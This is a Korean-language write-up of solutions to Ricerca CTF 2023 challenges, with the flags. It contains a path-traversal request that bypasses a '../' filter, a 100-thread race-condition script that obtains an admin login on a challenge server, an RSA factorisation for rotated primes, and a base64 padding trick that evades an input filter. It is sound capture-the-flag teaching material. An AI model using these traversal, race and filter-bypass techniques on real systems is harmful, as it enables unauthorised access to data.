[CTF write up] Ricerca CTF 2023 - Challenges : I want to study crypto~

Pwnable 빼고 쉬운 문제 몇개를 풀어보았다. 처음으로 풀어보는 Crypto인 Rotated Secret analysis는 꽤 재밌었고, Web에서는 딱히 적당히 재밌는 문제가 없었다. 리버싱은 warm-up 문제를 빼고는 최소 7솔브부터 시작이라 딱히 건드릴 수 있는게 없었다. 

 

 

• welcome

RicSec{do_U_know_wh4t_Ricerca_means_btw?}

 

 

• crackme

그냥 디컴파일하면 나온다.

RicSec{U_R_h1y0k0_cr4ck3r!}

 

 

• Reveolving Latters

반대로 하면 나온다.

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

def decrypt(secret, key):
    assert len(secret) <= len(key)

    result = ""
    for i in range(len(secret)):
        if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
            result += secret[i]
        else:
            result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) - LOWER_ALPHABET.index(key[i])) % 26]
    return result


key = "thequickbrownfoxjumpsoverthelazydog"

print(decrypt("RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}",key))

RicSec{great_you_can_do_anything!}

 

 

• Cat Cafe

../ replace 우회하면 풀린다.

import requests

url = 'http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt'
print(requests.get(url).text)

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

 

 

• tiny DB

DB를 초기화 할때 Admin 패스워드를 *로 설정하는 괴상한 동작을 한다. 타이밍 맞게 슈슉해주면 플래그가 나온다.

import requests
import random
import threading

thread_num = 100
cookies = {'sessionId': 'Rgs1IW5ERHGqMSendTIulo61gDbn-lAc.96x3ePxiYiSs%2BT66nLcV8fwsn2%2BClqUuaXlxndnKRyE'}

def req():
    while(True):
        base_url = "http://tinydb.2023.ricercactf.com:8888"

        url = f"{base_url}/set_user"
        data = {
            "username": str(random.randint(10**10,10**11)),
            "password": str(random.randint(10**10,10**11)),
        }
        response = requests.post(url, json=data, cookies=cookies)
        print(response.text)

th = []
for i in range(0,thread_num):
    th.append(threading.Thread(target=req))
    th[i].daemon = True
    th[i].start()

for i in range(0,thread_num):
    th[i].join()

import requests
import threading

thread_num = 100
cookies = {'sessionId': 'Rgs1IW5ERHGqMSendTIulo61gDbn-lAc.96x3ePxiYiSs%2BT66nLcV8fwsn2%2BClqUuaXlxndnKRyE'}

def req():
    while(True):
        base_url = "http://tinydb.2023.ricercactf.com:8888"
        url = f"{base_url}/get_flag"

        data = {
            "username": "admin",
            "password": "*"*32,
        }
        response = requests.post(url, json=data, cookies=cookies)
        print(response.text)

th = []
for i in range(0,thread_num):
    th.append(threading.Thread(target=req))
    th[i].daemon = True
    th[i].start()

for i in range(0,thread_num):
    th[i].join()

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

 

 

• Rotated Secret analysis

from Crypto.Util.number import bytes_to_long, getPrime, isPrime
import gmpy2

p1 = int('11001010',2)
p2 = int('00111001',2)
l = 8

p = p1 + p2*(2**l)
q = p2 + p1*(2**l)

n = p*q

print(f'p =        {bin(p)}')
print(f'q =        {bin(q)}')
print(f'n =        {bin(p1*p2 + (p1**2+p2**2)*(2**l) + (p1*p2)*(2**(l*2)))}')
print(f'higher n = {bin((p1*p2)*(2**(l*2)))}')
print(f'middle n =       {bin((p1**2+p2**2)*(2**l))}')
print(f'lower n =                  {bin(p1*p2)}')
print(f'p1*p2 =    {bin(p1*p2)}')
print('='*0x30)
print(f'dec lower p1*p2 =  {bin(n & (2**l-1))}')
print(f'dec higher p1*p2 = {bin((n >> l*3) - ((n >> l*3) & 1))} or {bin((n >> l*3) - ((n >> l*3) & 1) + 1)}')
print(f'dec p1*p2 1 = {bin((((n >> l*3) - ((n >> l*3) & 1)) << l) + (n & (2**l-1)))}')
print(f'dec p1*p2 2 = {bin((((n >> l*3) - ((n >> l*3) & 1) + 1) << l) + (n & (2**l-1)))}')
print(f'dec p1^2+p2^2 = {bin(n - (p1*p2) - (p1*p2)*(2**(l*2)) )}')
print('='*0x30)
A = p1*p2
B = p1**2 + p2**2
C1 = p1+p2
C2 = p1-p2
print(f'real p1+p2 = {p1+p2}')
print(f'dec p1+p2 = {int(gmpy2.iroot(B+2*A,2)[0])}')
print(f'real p1-p2 = {p1-p2}')
print(f'dec p1-p2 = {int(gmpy2.iroot(B-2*A,2)[0])}')
print(f'real p1 = {p1}')
print(f'dec p1 = {(C1 + C2)//2}')
print(f'real p2 = {p2}')
print(f'dec p2 = {(C1 - C2)//2}')

문제에서 RSA에서 사용되는 n 값은  p의 비트 값에 크게 종속되어 있어 위와 같은 루틴으로 역산할 수 있다. 임의의 p를 생성하고 p의 하위 512비트와 상위 512비트의 자리를 뒤바꿔서 q를 만들기 때문에, p의 하위 512비트, 상위 512비트를 각각 p1, p2라고 할 경우 n = p1*p2 + (p1**2+p2**2)*(2**512) + (p1*p2)*(2**1024)이 성립한다. p1*p2의 최대 비트자릿수는 1024, (p1**2+p2**2)*(2**512)는 1537, (p1*p2)*(2**1024)는 2048이다. 즉 상위 p1*p2 값의 상위 511비트가 그대로 보존된다. 또한 (p1**2+p2**2)*(2**512)는 하위 512비트 값이 전부 0이므로 p1*p2 값의 하위 512비트 값 역시 보존되고 있다. 513번째 비트 값을 브루트 포스하면 1/2 확률로 p1*p2 값을 복원할 수 있다.

 

p1*p2 값을 알아내면, X = p1*p2라고 할때 n - X - X*(2**1024) = (p1**2+p2**2)*(2**512)로 (p1**2+p2**2)를 구할 수 있고, (a+b)^2 = a^2 + 2ab + b^2 공식을 통해 p1+p2, p1-p2 값을 구해서 최종적으로 p 값과 그 비트반전 값인 q 값을 연산할 수 있다. 이후에는 d 값을 구해서 플래그를 복호화해주면 된다.

import gmpy2
from Crypto.Util.number import long_to_bytes, getPrime, isPrime

n = 24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511
c = 18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448
e = 0x10001
l = 512

p1p2 = (((n >> l*3) - ((n >> (l*3+1)) & 1)) << l) + (n & (2**l-1)) # p1*p2
#p1p2 = (((n >> l*3) - ((n >> l*3) & 1) + 1) << l) + (n & (2**l-1)) #p1*p2 case 2
p12p22 = n - (p1p2) - (p1p2)*(2**(l*2)) >> l # p1^2+p2^2

p1_plus_p2 = int(gmpy2.iroot(p12p22+2*p1p2,2)[0])
p1_minus_p2 = int(gmpy2.iroot(p12p22-2*p1p2,2)[0])

p1 = (p1_plus_p2 + p1_minus_p2)//2
p2 = (p1_plus_p2 - p1_minus_p2)//2

p = p1 + p2*(2**l)
q = p2 + p1*(2**l)

d = int(gmpy2.divm(1, e, (p-1)*(q-1)))
print(long_to_bytes(pow(c, d, n)))

RicSec{d0nt_kn0w_th3_5ecr3t_w1th0ut_r0t4t1n9!}

 

 

• gatekeeper

base64.c 소스코드를 보면 특정 상황에서 4바이트 건너뛰는 루틴이 있다.

 

대충 1,2번째 바이트가 isbase64() 조건문에 걸리지 않고 3,4번째 바이트가 =이면 무시되는 거 같다.

b3==cGVuIHNlc2FtZSE=

이걸로 우회할 수 있다.

RicSec{b4s364_c4n_c0nt41n_p4ddin6}